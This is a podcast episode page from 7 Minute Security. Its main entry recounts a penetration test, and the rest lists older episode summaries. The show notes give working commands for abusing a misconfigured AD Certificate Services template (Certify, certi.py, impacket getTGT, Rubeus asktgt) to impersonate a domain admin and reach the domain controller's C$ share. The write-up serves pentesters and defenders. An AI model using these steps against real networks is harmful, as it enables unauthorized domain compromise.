7MS #501: Tales of Pentest Pwnage - Part 31
7 Minute Security29 Joulu 2021

7MS #501: Tales of Pentest Pwnage - Part 31

Today we're closing down 2021 with a tale of pentest pwnage - this time with a path to DA I had never had a chance to abuse before: Active Directory Certificate Services! For the full gory details on this attack path, see the Certified Pre-Owned paper from the SpecterOps crew. The TLDR/TLDL version of how I abused this path is as follows:

Run Certify.exe find /vulnerable, and if you get some findings, review the Certified Pre-Owned paper and the Certify readme file for guidance on how to exploit them. In my case, the results I got from Certify showed:

msPKI-Certificates-Name-Flag : ENROLLEE_SUPPLIES_SUBJECT

Reading through the Certify readme, I learned "This allows anyone to enroll in this template and specify an arbitrary Subject Alternative Name (i.e. as a DA)." The Certify readme file walks you through how to attack this config specifically, but I had some trouble running all the tools from my non-domain-joined machine. So I used a combination of Certify and Certi to get the job done. First I started on Kali with the following commands:

sudo python3 /opt/impacket/examples/getTGT.py 'victimdomain.domain/MYUSER:MYPASS' export KRB5CCNAME=myuser.cache sudo python3 ./certi.py req 'victimdomain.domain/MYUSER@FQDN.TO.CERT.SERVER' THE-ENTERPRISE-CA-NAME -k -n --alt-name DOMAIN-ADMIN-I-WANT-TO-IMPERSONATE --template VULNERABLE-TEMPLATE NAME

From that you will get a .pfx file which you can bring over to your non-domain-joined machine and do:

rubeus.exe purge rubeus.exe asktgt /user:DOMAIN-ADMIN-I-WANT-TO-IMPERSONATE /certificate:DOMAIN-ADMIN-I-WANT-TO-IMPERSONATE@victim.domain.pfx /password:PASSWORD-TO-MY-PFX-FILE /domain:victimdomain.domain /dc:IP.OF.DOMAIN.CONTROLLER

And that's it! Do a dir \\FQDN.TO.DOMAIN.CONTROLLER\C$ and enjoy your new super powers!

Jaksot(688)

7MS #32: OSCP – part 3 (audio)

7MS #32: OSCP – part 3 (audio)

Been a while since I shared an update on OSCP progress. It’s going good but…slow. However, I do have one (maybe obvious) tip to share that I hope will save you a ton of time. Download: 7MS #32: OSCP – part 3 (audio)

1 Marras 20147min

7MS #31: Network Detective (audio)

7MS #31: Network Detective (audio)

Network Detective is a tool we’ve been using as kind of an addendum to our full security assessment. It gives some nice, plain-English Excel spreadsheets and Word docs that report on AD health and structure, PC inventory and open ports, AV clients that aren’t working right, and a whole lot more. Download: 7MS #31: Network Detective…

25 Loka 20147min

7MS #30: Managing Privileged Accounts (audio)

7MS #30: Managing Privileged Accounts (audio)

Most organizations I talk to have no idea where their privileged accounts are used across the network. I recently saw a demo of a solution called CyberArk, which seems to address that problem. Download: 7MS #30: Managing Privileged Accounts (audio)

18 Loka 20147min

7MS #29: Follow Up Then (audio)

7MS #29: Follow Up Then (audio)

This isn’t necessarily related to security, but it’s about one of my favorite tools to keep my todos organized: FollowUp Then! Download: 7MS #29: Follow Up Then (audio)

11 Loka 20147min

7MS #28: Infosec for Kids? (audio)

7MS #28: Infosec for Kids? (audio)

This is more of a random, wondering aloud type of episode as I think about raising my kids with infosec in mind. Specifically, what’s life going to be like for them growing up in an Internet-soaked world where there are constantly text/video/photos of them going online – to stay forever? Download: 7MS #28: Infosec for Kids?…

27 Syys 20147min

7MS #27: Backing Up with CrashPlan (audio)

7MS #27: Backing Up with CrashPlan (audio)

Hey, when it comes to backups…uh…you should have them! This is a NON-endorsed/sponsored episode about my personal favorite backup service called CrashPlan. Download: 7MS #27: Backing Up with Crashplan (audio)

20 Syys 20147min

7MS #26: The Importance of Training and Awareness (audio)

7MS #26: The Importance of Training and Awareness (audio)

Training and awareness – specifically as it relates to infosec – is something companies can’t spend enough $ on. But from my experience, not enough of them are making this a front-burner priority. This episode talks about one topic I’m particularly passionate about. I call it “How not to click on bad stuff.” Download: 7MS #26:…

13 Syys 20147min

7MS #25: Writing Better Pentest Reports (audio)

7MS #25: Writing Better Pentest Reports (audio)

This episode talks about some pointers, tools and tips towards writing better pentest reports. Download: 7MS #25: Writing Better Pentest Reports (audio)

23 Elo 20148min

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